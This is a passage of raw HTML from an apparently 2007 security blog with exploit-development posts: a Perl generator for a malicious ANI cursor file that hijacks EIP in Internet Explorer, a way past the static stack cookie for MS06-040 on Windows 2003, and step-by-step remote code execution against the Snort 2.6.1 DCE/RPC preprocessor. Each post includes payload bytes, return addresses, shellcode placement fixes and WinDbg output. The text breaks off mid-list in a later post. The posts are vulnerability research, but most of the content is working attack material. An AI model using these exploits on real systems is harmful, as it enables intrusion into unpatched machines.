/>"\x24\x00\x00\x00\x24\x00\x00\x00\xff\xff\x00\x00\x09\x00\x00\x00"<br />"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"<br />"\x04\x00\x00\x00\x01\x00\x00\x00\x54\x53\x49\x4c\x03\x00\x00\x00"<br />"\x00\x00\x00\x00\x54\x53\x49\x4c\x04\x00\x00\x00\x02\x02\x02\x02"<br />"\x61\x6e\x69\x68\xff\xff\x00\x00";<o:p></o:p></p> <p style="color: rgb(0, 153, 0);" class="MsoNormal"><o:p></o:p>$chunk = "\x0d" x 65535;<o:p></o:p></p><p style="color: rgb(0, 153, 0);" class="MsoNormal"><o:p></o:p>$payload = $aniheader . $chunk;</p> <p style="color: rgb(0, 153, 0);" class="MsoNormal"><o:p></o:p>open(ANI, ">", "exploit.ani");<br />print ANI $payload;<br />close ANI;</p> <p class="MsoNormal"><o:p> </o:p></p> <p class="MsoNormal">I also create a simple HTML file to call .ani file:</p> <p class="MsoNormal"><o:p> </o:p></p> <p class="MsoNormal"></p> <p class="MsoNormal"></p> <p class="MsoNormal"></p> <p class="MsoNormal"></p> <p class="MsoNormal"><o:p> </o:p></p> <p class="MsoNormal"><span style="color: rgb(0, 153, 0);">...</span><br /><span style="color: rgb(0, 153, 0);">BODY style="CURSOR:url('exploit.ani')"</span><br /><span style="color: rgb(0, 153, 0);">...</span><br /></p> <p class="MsoNormal"><o:p> </o:p></p> <p class="MsoNormal">I use IE browse the exploit page. This is the result:</p><p class="MsoNormal"><span style="color: rgb(0, 153, 0);">(2d8.858): Access violation - code c0000005 (first chance)</span><br /><span style="color: rgb(0, 153, 0);">First chance exceptions are reported before any exception handling.</span><br /><span style="color: rgb(0, 153, 0);">This exception may be expected and handled.</span><br /><span style="color: rgb(0, 153, 0);">eax=0013df80 ebx=0000ffff ecx=00003798 edx=0000ffff esi=028621f4 edi=00140000</span><br /><span style="color: rgb(0, 153, 0);">eip=77d83a85 esp=0013de1c ebp=0013de28 iopl=0</span><span style="color: rgb(0, 153, 0);"> </span><span style="color: rgb(0, 153, 0);">nv up ei pl nz na pe cy</span><br /><span style="color: rgb(0, 153, 0);">cs=001b</span><span style="color: rgb(0, 153, 0);"> </span><span style="color: rgb(0, 153, 0);">ss=0023</span><span style="color: rgb(0, 153, 0);"> </span><span style="color: rgb(0, 153, 0);">ds=0023</span><span style="color: rgb(0, 153, 0);"> </span><span style="color: rgb(0, 153, 0);">es=0023</span><span style="color: rgb(0, 153, 0);"> </span><span style="color: rgb(0, 153, 0);">fs=003b</span><span style="color: rgb(0, 153, 0);"> </span><span style="color: rgb(0, 153, 0);">gs=0000</span><span style="color: rgb(0, 153, 0);"> </span><span style="color: rgb(0, 153, 0);">efl=00010207</span></p> <p style="color: rgb(0, 153, 0);" class="MsoNormal"><span style="font-weight: bold;">USER32!LoadCursorFromFileA+0xb2:</span><br /><span style="font-weight: bold;">77d83a85</span> f3a5<span style=""> </span>rep movs dword ptr es:[edi],dword ptr [esi] es:0023:00140000=78746341 ds:0023:028621f4=0d0d0d0d</p> <p style="color: rgb(0, 153, 0);" class="MsoNormal">0:000> dd esp<br />0013de1c<span style=""> </span>0013de88 0013df80 0013df80 0013de44<br />0013de2c<span style=""> </span>77d83ae0 0013df80 0013de64 0000ffff<br />0013de3c<span style=""> </span>02da0048 0000ffff 0013deb0 77d83fe2<br />0013de4c<span style=""> </span>0013df80 0013de88 0013de64 0013decc<br />0013de5c<span style=""> </span>0013defc 0013df80 0d0d0d0d 0d0d0d0d<br />0013de6c<span style=""> </span>0d0d0d0d 0d0d0d0d 0d0d0d0d 0d0d0d0d<br />0013de7c<span style=""> </span>0d0d0d0d 0d0d0d0d 0d0d0d0d 0d0d0d0d<br />0013de8c<span style=""> </span>0d0d0d0d 0d0d0d0d 0d0d0d0d 0d0d0d0d</p> <p style="color: rgb(0, 153, 0);" class="MsoNormal">0:000> g</p> <p style="color: rgb(0, 153, 0);" class="MsoNormal">(2d8.858): Access violation - code c0000005 (first chance)<br />First chance exceptions are reported before any exception handling.<br />This exception may be expected and handled.</p> <p style="color: rgb(0, 153, 0);" class="MsoNormal">eax=00000000 ebx=00000000 ecx=0d0d0d0d edx=7c9037d8 esi=00000000 edi=00000000<br /><span style="font-weight: bold;">eip=0d0d0d0d </span>esp=0013da4c ebp=0013da6c iopl=0<span style=""> </span>nv up ei pl zr na pe nc<br />cs=001b<span style=""> </span>ss=0023<span style=""> </span>ds=0023<span style=""> </span>es=0023<span style=""> </span>fs=003b<span style=""> </span>gs=0000<span style=""> </span>efl=00010246<br /><span style="font-weight: bold;">0d0d0d0d</span> ??<span style=""> </span>???</p> <p class="MsoNormal"><o:p></o:p>As you can see, EIP is completely controlled. All processes are done only in few minutes. The remaining job is just spraying nop + shellcode into the heap – everything is ended.</p> <p class="MsoNormal"><o:p></o:p>Now, it is nothing if I don’t investigate how the bug is exploited. First of all, look at ANI header in the exploit. </p> <p class="MsoNormal"><o:p></o:p><span style="color: rgb(51, 102, 255);">RIFF (“\x52\x49\x46\x46”)</span><br /><span style=""></span>Length of File (“\x13\x03\x00\x00”)<br /><span style="color: rgb(0, 0, 0);">ACON (“\x41\x43\x4f\x4e”)</span><br /><span style="color: rgb(255, 0, 0);">anih (“\x61\x6e\x69\x68”)</span><br /><span style="color: rgb(255, 0, 0);">Length of Header (“\x24\x00\x00\x00”)</span><br /><span style="color: rgb(255, 0, 0);">….all data 36 bytes…</span><br />LIST (“\x54\x53\x49\x4c”)<br />Length of List (“\x03\x00\x00\x00”)<br />….data 3 bytes + 1 byte padding…<br />LIST (“\x54\x53\x49\x4c”)<br />Length of List (“\x04\x00\x00\x00”)<br />…data 4 bytes…<br /><span style="color: rgb(255, 0, 0);">anih (“\x61\x6e\x69\x68”)</span><br /><span style="color: rgb(255, 0, 0);">Length of Header (“\xff\xff\x00\x00”)</span></p> <p class="MsoNormal"><o:p></o:p>Note: If you don’t know where to find information about the ANI header, to go this <a href="http://gdgsoft.com/anituner/help/aniformat.htm">site</a>.<o:p></o:p></p> <p class="MsoNormal"><o:p></o:p>Why there are 2 anih headers, <span style="color: rgb(51, 102, 255);">One valid header size</span> and <span style="color: rgb(51, 102, 255);">another malicious header size</span>, in the exploit ? Just only one anih can’t exploit this vulnerability ? The answer is in this <a href="http://www.determina.com/security.research/vulnerabilities/ani-header.html">analysis</a>. The first anih header size is checked that is it 36 bytes or not. However, the 2<sup>nd</sup> anih header is not checked by any piece of code. That’s why the exploit have to use 2 anih header <span style="font-family:Wingdings;"><span style="">J</span></span></p> <p class="MsoNormal"><o:p></o:p>P.S. I have not much time to complete analysis the bug on my own. If I have enough time I will describe it in my blog. </p> <p class="MsoNormal"><o:p></o:p>P.S. I have no Vista test base, However I think my exploit could also work on Vista on 32 bits machine that doesn’t support NX bit, but it does not confirmed. </p> <p class="MsoNormal"><span style=""> </span></p>Trirat Puttaraksahttp://www.blogger.com/profile/05733396334545897735noreply@blogger.com7tag:blogger.com,1999:blog-30260908.post-21481588599075278112007-03-27T12:23:00.000+07:002007-03-30T15:05:14.754+07:00MS06-040 Reloaded: The (More) Easy Way to Bypass Windows 2003 SP0 Stack ProtectionFirst of all, Metasploit 3 is released :) and this is the reason why I pick up this topic to post again.<br /><br />In Metasploit 3.0, If you view source code of <span style="color: rgb(51, 102, 255);">ms06_040_netapi.rb</span>, you will see something has changed from 2.x<br /><span style="color: rgb(51, 204, 0);">...</span><br /><span style="color: rgb(51, 204, 0);"> # Padding</span><br /><span style="color: rgb(51, 204, 0);"> rand_text_alphanumeric(32) +</span><br /><br /><span style="color: rgb(51, 204, 0); font-weight: bold;"> # The cookie is constant,</span><span style="color: rgb(51, 204, 0); font-weight: bold;"><br /># noticed by Nicolas Pouvesle in Misc #28</span><br /><span style="color: rgb(51, 204, 0); font-weight: bold;"> "\x4e\xe6\x40\xbb" +</span><br /><br /><span style="color: rgb(51, 204, 0);"> # Padding</span><br /><span style="color: rgb(51, 204, 0);"> rand_text_alphanumeric(4) +</span><br /><span style="color: rgb(51, 204, 0);">...</span><br /><br />In Metasploit 3.x code said that the <span style="color: rgb(255, 0, 0);">security cookie value</span> used for stack buffer overflow protection is <span style="color: rgb(255, 0, 0);">static</span> !!!<br /><br />If you can remember in previous <a href="http://sf-freedom.blogspot.com/2006/09/when-kernel-crash-ms06-040-windows.html">post</a>, I bypass the stack buffer overflow protection by overwrite the cookie stored in memory. The location that store the cookie is a static memory location in <span style="color: rgb(51, 102, 255);">netapi32.dll</span> - <span style="color: rgb(51, 102, 255);">0x71c8c1ec</span>. But I didn't notice that the cookie's value also static !!!<br /><br />To confirm this, I put break point at NETAPI32!__security_check_cookie and observe the cookie's value<br /><br /><span style="color: rgb(51, 204, 0);">...</span><br /><span style="color: rgb(51, 204, 0);">0:003> bp NETAPI32!__security_check_cookie</span><br /><span style="color: rgb(51, 204, 0);">0:003> bl<br />0 e 71c414f6 0001 (0001) 0:**** NETAPI32!__security_check_cookie</span><br /><span style="color: rgb(51, 204, 0);"><br />0:003> g</span><br /><span style="color: rgb(51, 204, 0);">eax=0000084b ebx=00120118 ecx=bb40e64e edx=0000005c esi=0011d0e8 edi=00000000</span><br /><span style="color: rgb(51, 204, 0);" lang="DE">eip=71c414f6 esp=00e8f4f4 ebp=00e8f910 iopl=0 nv up ei pl zr na pe nc<br />cs=001b<span style=""> </span>ss=0023<span style=""> </span>ds=0023<span style=""> </span>es=0023<span style=""> </span>fs=0038<span style=""> </span>gs=0000<span style=""> </span>efl=00000246<o:p></o:p></span><br /><span style="color: rgb(51, 204, 0);">NETAPI32!__security_check_cookie:</span><br /><span style="color: rgb(51, 204, 0);" lang="DE">71c414f6 3b0decc1c871 cmp ecx,dword ptr [NETAPI32!__security_cookie (71c8c1ec)] ds:0023:71c8c1ec=bb40e64e<br />0:013> dd 0x71c8c1ec<o:p></o:p><br />71c8c1ec<span style=""> </span><span style="font-weight: bold;">bb40e64e</span> 00000000 00000000 00000000<o:p></o:p></span><span style="color: rgb(51, 204, 0);"><br /><br />0:013> g</span><br /><span style="color: rgb(51, 204, 0);">Breakpoint 0 hit</span><br /><span style="color: rgb(51, 204, 0);">eax=0000084b ebx=00123270 ecx=bb40e64e edx=0000005c esi=001081e0 edi=00000000</span><br /><span style="color: rgb(51, 204, 0);" lang="DE">eip=71c414f6 esp=00e8f4f4 ebp=00e8f910 iopl=0 nv up ei pl zr na pe nc<br />cs=001b<span style=""> </span>ss=0023<span style=""> </span>ds=0023<span style=""> </span>es=0023<span style=""> </span>fs=0038<span style=""> </span>gs=0000<span style=""> </span>efl=00000246<o:p></o:p></span><br /><span style="color: rgb(51, 204, 0);"><br />NETAPI32!__security_check_cookie:</span><br /><span style="color: rgb(51, 204, 0);" lang="DE">71c414f6 3b0decc1c871 cmp ecx,dword ptr [NETAPI32!__security_cookie (71c8c1ec)] ds:0023:71c8c1ec=bb40e64e<br /><br />0:013> dd 0x71c8c1ec<o:p></o:p><br />71c8c1ec<span style=""> </span><span style="font-weight: bold;">bb40e64e</span> 00000000 00000000 00000000<o:p></o:p></span><br /><span style="color: rgb(51, 204, 0);">...</span><br /><p class="MsoNormal">As you can see, the cookie's value is always <span style="color: rgb(255, 0, 0);">0xbb40e64e</span> and this value is not changed even though you reboot the system.<br /></p><p class="MsoNormal">Because of the <span style="color: rgb(51, 102, 255);">predictable cookie's value</span>, it is more easy to exploit this vulnerability in Windows 2003 Server - just change the bytes that overwrite the cookie in the stack to 0xbb40e64e - the system checks the cookie and it understand that there is nothing happen because the cookie's value is not changed, lol. They are fooled :)<br /></p><p class="MsoNormal">(<span style="color: rgb(204, 51, 204);">Note</span>: For Metasploit 3.x, the return address for Windows 2003 SP0 target has changed back to 0x00020804. As I know, this return will turn to 0x02080400 in memory - and the exploit will failed for 2003 target. but when I test the exploit, it is not failed !!! May be I'm wrong some point. I debug this issue by set the shellcode to "\xcc" - break instruction:</p><span style="color: rgb(51, 204, 0);">...</span><br /><span style="color: rgb(51, 204, 0);">0:051> g</span><br /><span style="color: rgb(51, 204, 0);">(384.42c): Break instruction exception - code 80000003 (first chance)</span><br /><span style="color: rgb(51, 204, 0);">eax=00000000 ebx=0014f5b0 ecx=bb40e64e edx=00e8f94e esi=00162408 edi=00000000</span><br /><span style="color: rgb(51, 204, 0);">eip=00020804 esp=00e8f92c ebp=51477973 iopl=0 nv up ei pl zr na pe nc</span><br /><span style="color: rgb(51, 204, 0);">cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246</span><br /><span style="color: rgb(51, 204, 0);">00020804 cc int 3</span><br /><span style="color: rgb(51, 204, 0);"><br />0:010> dd 00020804</span><br /><span style="color: rgb(51, 204, 0);">00020804 cccccccc cccccccc cccccccc cccccccc</span><br /><span style="color: rgb(51, 204, 0);">00020814 cccccccc cccccccc cccccccc cccccccc</span><br /><span style="color: rgb(51, 204, 0);">...</span><br /><br />Hey !!!, shellcode is overwrite to 0x00020804 instead of 0x02080400. This is the point that I'm wrong in the previous<span style="color: rgb(51, 102, 255);"> </span><a style="color: rgb(51, 102, 255);" href="http://sf-freedom.blogspot.com/2006/09/when-kernel-crash-ms06-040-windows.html">post</a>)<br /><br />Now, I know that the buffer overflow protection on Windows 2003 Server for <span style="color: rgb(204, 153, 51);">netapi32.dll</span> has the following characteristics:<br /><ul><li>the memory location that store security cookie is static (<span style="color: rgb(204, 153, 51);">0x71c8c1ec</span>)</li><li>the security cookie's value is static (<span style="color: rgb(204, 153, 51);">0xbb40e64e</span>)</li></ul>Then, some questions arise immediately, the other dlls also have these characteristic ? and the newer operating system inherit this flaw ?<br /><br />To answer the first question, I will investigate another dll, <span style="color: rgb(204, 51, 204);">user32.dll</span>, in the same process<br /><br />.<span style="color: rgb(51, 204, 0);">..</span><br /><span style="color: rgb(51, 204, 0);">0:055> u user32!__security_check_cookie</span><br /><span style="color: rgb(51, 204, 0);">USER32!__security_check_cookie:</span><br /><span style="color: rgb(51, 204, 0);">77d01ae4 3b0d9cf1d577 cmp ecx,dword ptr [USER32!__security_cookie (77d5f19c)]</span><br /><span style="color: rgb(51, 204, 0);">77d01aea 0f85b7250400 jne USER32!__security_check_cookie+0x9 (77d440a7)</span><br /><span style="color: rgb(51, 204, 0);">77d01af0 c3 ret</span><br /><br /><span style="color: rgb(51, 204, 0);">0:055> dd 0x77d5f19c</span><br /><span style="color: rgb(51, 204, 0);">77d5f19c bb40e64e 00080000 018a0021 77d00000</span><br /><span style="color: rgb(51, 204, 0);">77d5f1ac 77e585ea 00000001 00000000 00000064</span><br /><span style="color: rgb(51, 204, 0);">...</span><br /><br />I found that <span style="color: rgb(204, 51, 204);">user32.dll</span> has the same netapi32.dll's characteristics:<br /><ul><li>the location memory that store the cookie is static (<span style="color: rgb(204, 51, 204);">0x77d5f19c</span>)</li><li>the security cookie's value is static (<span style="color: rgb(204, 51, 204);">0xbb40e6e4</span>)<br /></li></ul>I repeat this process with <span style="color: rgb(102, 51, 255);">ws2_32.dll</span>:<br /><br /><span style="color: rgb(51, 204, 0);">...</span><br /><span style="color: rgb(51, 204, 0);">0:012> u ws2_32!__security_check_cookie</span><br /><span style="color: rgb(51, 204, 0);">WS2_32!__security_check_cookie:</span><br /><span style="color: rgb(51, 204, 0);">71c01790 3b0df451c171 cmp ecx,dword ptr [WS2_32!__security_cookie (71c151f4)]</span><br /><span style="color: rgb(51, 204, 0);">71c01796 0f85d3a00000 jne WS2_32!__security_check_cookie+0x9 (71c0b86f)</span><br /><span style="color: rgb(51, 204, 0);">71c0179c c3 ret</span><br /><br /><span style="color: rgb(51, 204, 0);">0:012> dd 71c151f4</span><br /><span style="color: rgb(51, 204, 0);">71c151f4 bb40e64e 76f812a4 76f80000 00000001</span><br /><span style="color: rgb(51, 204, 0);">71c15204 00083980 ffffffff 00000000 00000000</span><br /><span style="color: rgb(51, 204, 0);">...</span><br /><br />The location always at <span style="color: rgb(102, 51, 255);">0x71c151f4 </span>and the cookie's value is <span style="color: rgb(102, 51, 255);">0xbb40e6e4</span>.<br /><br />Although I do not investigate all for dll in the system, I think the others should have the same properties - static location and static value. But when I debug <span style="color: rgb(255, 102, 0);">gdi32.dll</span> and <span style="color: rgb(255, 102, 0);">ole32.dll</span>, I found that <span style="color: rgb(255, 102, 0);">the location is static, but the cookie's value is not static</span> :( - this flaw exists in some dlls in Windows 2003, not all dlls.<br /><br />Now, It's Windows 2003 SP1 turn. I will investigate netapi32.dll and gdi32.dll and compare with the old one.<br /><br />For netapi32.dll:<br /><br /><span style="color: rgb(51, 204, 0);">0:044> u netapi32!__security_check_cookie</span><br /><span style="color: rgb(51, 204, 0);">NETAPI32!__security_check_cookie:</span><br /><span style="color: rgb(51, 204, 0);">71c43da0 3b0d7021c971 cmp ecx,dword ptr [NETAPI32!__security_cookie (71c92170)]</span><br /><span style="color: rgb(51, 204, 0);">71c43da6 0f850b690100 jne NETAPI32!__report_gsfailure (71c5a6b7)</span><br /><span style="color: rgb(51, 204, 0);">71c43dac f7c10000ffff test ecx,0FFFF0000h</span><br /><span style="color: rgb(51, 204, 0);">71c43db2 0f85ff680100 jne NETAPI32!__report_gsfailure (71c5a6b7)</span><br /><span style="color: rgb(51, 204, 0);">71c43db8 c3 ret</span><br /><span style="color: rgb(51, 204, 0);">...</span><br /><span style="color: rgb(51, 204, 0);">0:044> dd 71c92170</span><br /><span style="color: rgb(51, 204, 0);">71c92170 00006773 00000000 00000000 00000000</span><br /><span style="color: rgb(51, 204, 0);">71c92180 71c47774 71c4776c 00000000 00000000</span><br /><br />netapi32!__security_check_cookie's code has changed a little. It insert the code<br /><br /><span style="color: rgb(51, 204, 0);">...</span><br /><span style="color: rgb(51, 204, 0);">test ecx, 0FFFF000h</span><br /><span style="color: rgb(51, 204, 0);">jne NETAPI32!__report_gsfailure (71c5a6b7)<br />...</span><br /><br />This code forces the format of cookie - it have to be 0x0000xxxx - more harder to write this value into the memory. However, it is more easier to do the <span style="color: rgb(255, 0, 0);">bruteforce cookie</span> (if the situation let us to do that), because it use only 2 bytes :)<br /><br />For netapi32.dll in <span style="color: rgb(51, 102, 255);">Windows 2003 SP1</span>, the c<span style="color: rgb(51, 102, 255);">ookie's value is no longer static</span>. However, the <span style="color: rgb(51, 102, 255);">memory location store the cookie still static</span> - 0x71c92170 for netapi32.dll and 0x77c43014 for gdi32.dll. The technique that I use to exploit MS06-040 vulnerability in Windows 2003 SP0 "overwrite cookie" <span style="color: rgb(51, 102, 255); font-weight: bold;">should</span> (I'm not sure, lol) be work because of the static memory location for store cookie.Trirat Puttaraksahttp://www.blogger.com/profile/05733396334545897735noreply@blogger.com0tag:blogger.com,1999:blog-30260908.post-58814468087152760582007-03-01T19:30:00.001+07:002007-03-03T16:51:17.591+07:00Snort 2.6.1 DCE/RPC Preprocessor Remote Buffer Overflow: Part 2 - Command Execution<p class="MsoNormal">In previous post, I had described detailed of Snort DCE/RPC preprocessor vulnerability and how to create a packet that can cause DoS to snort. In this post, I will investigate deeper to find a way to let snort execute shellcode embedded in the packet. I use Snort 2.6.1 + Windows XP SP2 as the testing environment in this post.</p> <p class="MsoNormal"><o:p></o:p>First of all, I attach Snort to Windbg and then run the DoS exploit to see how snort crashes:</p> <p style="color: rgb(51, 204, 0);" class="MsoNormal">…<br />[root@localhost scapy]# python snort_dcerpc_dos.py 192.168.87.1<o:p></o:p><br />…</p> <p class="MsoNormal"><span style="color: rgb(255, 0, 0);">(e58.e00): Access violation - code c0000005 (first chance)</span><br /><span style="color: rgb(255, 0, 0);">First chance exceptions are reported before any exception handling.</span><br /><span style="color: rgb(255, 0, 0);">This exception may be expected and handled.</span><br /><span style="color: rgb(255, 0, 0);">eax=03a81f40 ebx=00000101 ecx=03a81f40 edx=03a81f00 esi=03630da8 edi=03630caa</span><br /><span style="color: rgb(255, 0, 0);">eip=030b0005 esp=0012fa20 ebp=03630dda iopl=0 nv up ei pl nz na po nc</span><br /><span style="color: rgb(255, 0, 0);">cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202</span><br /><span style="color:red;"><span style="color: rgb(255, 0, 0); font-weight: bold;">030b0005 ?? ???</span><o:p></o:p></span></p> <p class="MsoNormal"><o:p></o:p>Snort crashes because of access violation. <span style="color: rgb(255, 0, 0);">EIP is 0x030b0005</span>. I view my code to find the byte “\x05\x00\x0b\x03”, reverse of “\x03\x0b\x00\x05” – network byte order, to find which part of packet the overwrite to EIP:</p> <p style="color: rgb(51, 204, 0);" class="MsoNormal">…<br /># Write AndX Request #2<br />payload += "\x0e\xff\x00\xde\xde\x00\x40\x00\x00\x00\x00\xff\xff\xff\xff\x80"<br />payload += "\x00\x48\x00\x00\x00\xff\x01\x30\x01\x00\x00\x00\x00\x49\x00\xee"<br /></p><p style="color: rgb(51, 204, 0);" class="MsoNormal"><o:p></o:p>payload += "<span style="font-weight: bold;">\x05\x00\x0b\x03</span>\x10\x00\x00\x00\...</p><p class="MsoNormal"> </p><p class="MsoNormal">They are the first 4 bytes of DCE/RPC Message that overwrite EIP. Then I view the stack:</p> <p class="MsoNormal"><o:p></o:p>0:000> dd esp - 0x10<br />0012fa10<span style=""> </span>30024700 00000001 ee004900 <span style="color:red;">030b0005</span><br />0012fa20<span style=""> </span><span style="color: rgb(51, 153, 102);"><span style="color: rgb(51, 204, 0);">00000010 00000048</span> </span>00000001 0001<span style="color: rgb(51, 204, 0);">10b8</span><br />0012fa30<span style=""> </span>03a6258b 03630caa 03630da8 ffff01ff<br />0012fa40<span style=""> </span>03630247 03630caa 00000096 fc590068<br />0012fa50<span style=""> </span>03a62d37 03630caa 03630da8 fc590068<br />… </p> <p class="MsoNormal">Bytes highlighted with green are part of DCE/RPC message that overwrite the stack. I try to make sure that I can control EIP completely by change “\x05\x00\x0b\x03” to “\x44\x43\x42\x41”:</p> <p style="color: rgb(255, 0, 0);" class="MsoNormal">…<br />eax=03a81f40 ebx=00000101 ecx=03a81f40 edx=03a81f00 esi=03630da8 edi=03630caa<br /><span style="font-weight: bold;">eip=41424344</span> esp=0012fa20 ebp=03630dda iopl=0<span style=""> </span>nv up ei pl nz na po nc<br />cs=001b<span style=""> </span>ss=0023<span style=""> </span>ds=0023<span style=""> </span>es=0023<span style=""> </span>fs=003b<span style=""> </span>gs=0000<span style=""> </span>efl=00010202<br /><span style="font-weight: bold;">41424344 ?? ???</span><br />…</p> <p class="MsoNormal">Yes, I can control EIP. Then, to ensure that Snort can execute some code, I change bytes “\x44\x43\x42\x41” to “\xed\x1e\x94\x7c”, 0x7c941eed (jmp esp) instruction, and change byte after that to “\xcc” – break instruction.</p> <p style="color: rgb(255, 0, 0);" class="MsoNormal">…<br />eax=03a81f40 ebx=00000101 ecx=03a81f40 edx=03a81f00 esi=03630da8 edi=03630caa<br />eip=0012fa20 esp=0012fa20 ebp=03630dda iopl=0<span style=""> </span>nv up ei pl nz na po nc<br />cs=001b<span style=""> </span>ss=0023<span style=""> </span>ds=0023<span style=""> </span>es=0023<span style=""> </span>fs=003b<span style=""> </span>gs=0000<span style=""> </span>efl=00000202<br /><span style="font-weight: bold;">0012fa20 cc int 3</span><br />0:000> dd esp - 0x8<br />0012fa18<span style=""> </span>ee004900 <span style="font-weight: bold;">7c941eed </span>000000<span style="font-weight: bold;">cc </span>00000048<br />0012fa28<span style=""> </span>00000001 000110b8 03a6258b 03630caa<br />0012fa38<span style=""> </span>03630da8 ffff01ff 03630247 03630caa<br />0012fa48<span style=""> </span>00000096 fc590068 03a62d37 03630caa<br />0012fa58<span style=""> </span>03630da8 fc590068 00010166 03a625ba<br />0012fa68<span style=""> </span>0000002f 03630caa 03630da8 fc590068<br />0012fa78<span style=""> </span>00010166 03630caa 00110096 0000002f<br />0012fa88<span style=""> </span>03a62d37 03630caa 03630d40 fff000d0<br />…</p> <p class="MsoNormal">Snort executes my “cc” instruction. The next thing I have to do is the change “\xcc” byte and beyond to my shellcode, nop + make stack happy code and windows/exec calc.exe from metasploit. But after I run the exploit, Snort crashes instead of calling calc.exe. I decide to add bytes “\xcc” after the return address to see the shellcode in stack:</p> <p style="color: rgb(51, 204, 0);" class="MsoNormal">…<br />0012fa20 cc<span style=""> </span>int<span style=""> </span>3<br />0:000> dd esp<br />0012fa20<span style=""> </span><span style="font-weight: bold;">ffc481cc 44ffffef e983c931</span> 0001<span style="font-weight: bold;">d9dd</span><br />0012fa30<span style=""> </span>03a6258b 03630b92 03630c90 ffff01ff<br />…</p> <p class="MsoNormal"><o:p></o:p>As you can see, only parts of shellcode are in the stack. I forgot the change the value that control how many bytes that overwrite the stack, lol.</p> <p style="color: rgb(51, 204, 0);" class="MsoNormal">…<br /># Write AndX Request #2<br />payload += "\x0e\xff\x00\xde\xde\x00\x40\x00\x00\x00\x00\xff\xff\xff\xff\x80"<br />payload += "\x00\x48\x00\x00\x00\xff\x01\<span style="font-weight: bold;">x30\x01</span>\x00\x00\x00\x00\x49\x00\xee"<br />…</p> <p class="MsoNormal"><o:p></o:p>With this value 0x0130 I can write 14 bytes of shellcode to the stack. Shellcode’s length is 172 bytes (return address is not included), I have to write more 158 (0x9e) bytes into the stack. So I change 0x0130 to 0x01ce (0x9e (158) + 0x130). I run the exploit again, but I got the problem that there is nothing happened - -“</p> <p class="MsoNormal"><o:p></o:p>I try to reduce 0x1ce to 0x1cd:</p> <p class="MsoNormal">…<br />0:000> dd esp<br />0012fa20<span style=""> </span><span style="color:red;">ffc481cc 44ffffef e983c931 d9eed9dd</span><br />0012fa30<span style=""> </span><span style="color:red;">5bf42474 a9137381 83f580d1 f4e2fceb</span><br />0012fa40<span style=""> </span><span style="color:red;">f5c43955 b00bd1a9 f0fc5a95 7e6fd0d1</span><br />0012fa50<span style=""> </span><span style="color:red;">aa0bc9e6 bc6bd089 f40be522 6c40e047</span><br />0012fa60<span style=""> </span><span style="color:red;">81405505 f84a10ae 016b13a8 f1a48592</span><br />0012fa70<span style=""> </span><span style="color:red;">aa0b34dc 936bd08d 7ecbdd22 1e81cdf6<o:p></o:p></span><br />0012fa80<span style=""> </span><span style="color:red;">f40bcd22 d1dc5842 35b112ad c5c05acd</span><br />0012fa90<span style=""> </span><span style="color:red;">f9f8112c 7e8c9122 7e2dcdd9 fc6bd9c1</span><br />0:000> dd<br />0012faa0<span style=""> </span><span style="color:red;">f5305122 9d0bd1a9 03b18e95 0d0987c9</span><br />0012fab0<span style=""> </span><span style="color:red;">a5fb112a 1758afc1 0b18b9da 0ad7df23</span><br />0012fac0<span style=""> </span><span style="color:red;">99e1b24e 8de5ffca</span> 03<span style="color:red;">80d1cc</span> fff0017c<br />…</p><p class="MsoNormal">The value 0x1cd write 171 bytes into the stack, but 0x1ce there is nothing happened. Seem the last byte is the problem. After I debug and investigate, I found that when I use 0x1ce as the number bytes to overwrite, Snort doesn’t process the packet because of this code in <span style="color: rgb(51, 102, 255);">ProcessSMBWriteX()</span>:</p> <p class="MsoNormal"> </p> <p class="MsoNormal"><o:p></o:p><span style="color: rgb(51, 204, 0);">…</span><br /><span style="color: rgb(51, 204, 0);">if ( writeX->dataOffset >= total_size )</span><br /><span style="color: rgb(51, 204, 0);">{</span><br /><span style="color: rgb(51, 204, 0);">return 0;</span><br /><span style="color: rgb(51, 204, 0);">}</span><br /><span style="color: rgb(51, 204, 0);">…</span></p> <p class="MsoNormal">To solve this problem, I add the padding after the shellcode “\x90” and run the exploit. Calc.exe is called !!!. Yeah, mission complete. To confirm that this calc program is called by snort, I use process explorer and view it’s properties</p> <p class="MsoNormal"><o:p><a href="http://photobucket.com/" target="_blank"><img src="http://i136.photobucket.com/albums/q196/triratp/Snort_DCERPC/calc.jpg" alt="Photobucket - Video and Image Hosting" border="0" /></a></o:p></p> <p class="MsoNormal">As you can see, the current working directory is C:\Snort\bin, this could be imply that it is called by snort.exe :)</p> P.S. One thing that should not forget in modification of this exploit is that change the size of SMB packet to the correct one.<br /><br /><span style="color: rgb(255, 0, 0);">...</span><br /><span style="color: rgb(255, 0, 0);"># NetBIOS Session Services</span><br /><span style="color: rgb(255, 0, 0);">payload = "\x00\x00\<span style="font-weight: bold;">x02\xab</span>"</span><br /><span style="color: rgb(255, 0, 0);">...</span><br /><br />This value should be equal or greater than size of SMB packet.Trirat Puttaraksahttp://www.blogger.com/profile/05733396334545897735noreply@blogger.com1tag:blogger.com,1999:blog-30260908.post-3403153519423915412007-02-23T22:04:00.000+07:002007-03-01T19:31:37.951+07:00Snort 2.6.1 DCE/RPC Preprocessor Remote Buffer Overflow: Part 1 - Denial Of Service<p class="MsoNormal">It had been 3 months that I didn’t post anything in my blog. The reason why I stopped it because I have to do many things in my work and there is no interested topic. But today I think I’ve found the new topic, yes it is Snort DEC/RPC preprocessor buffer overflow. It is the interested topic because there is no PoC provide with the advisory. I’m curious and wanna to know how to exploit it, so things come back again :)<o:p> </o:p><br /></p><p class="MsoNormal">First of all, I have to gather information as much as possible to find the starting point and so on. I think information from <a href="http://www.iss.net/threats/257.html">http://www.iss.net/threats/257.html</a> is very useful. It provides me these information:</p> <ul style="margin-top: 0in;" type="disc"><li class="MsoNormal" style="">It is stack-based buffer overflow</li><li class="MsoNormal" style="">DCE/RPC is dynamic preprocessor and enabled by default</li><li class="MsoNormal" style="">Overflow occurs in reassembly process</li><li class="MsoNormal" style="">The attacker can attack Snort with a single packet</li><li class="MsoNormal" style=""><span style="color: rgb(255, 0, 0);">Multiple WriteAndX</span> commands are necessary</li></ul> <p class="MsoNormal">From these information, I decide to view Snort’s source code directory snort-2.6.1\src\dynamic-preprocessors\dcerpc to find the component and function that responsible for DCE/RPC reassembly. I’ve found that the file that should be investigated is smb_andx_decode.c. This file has the following function:</p> <ul style="margin-top: 0in;" type="disc"><li class="MsoNormal" style="color: 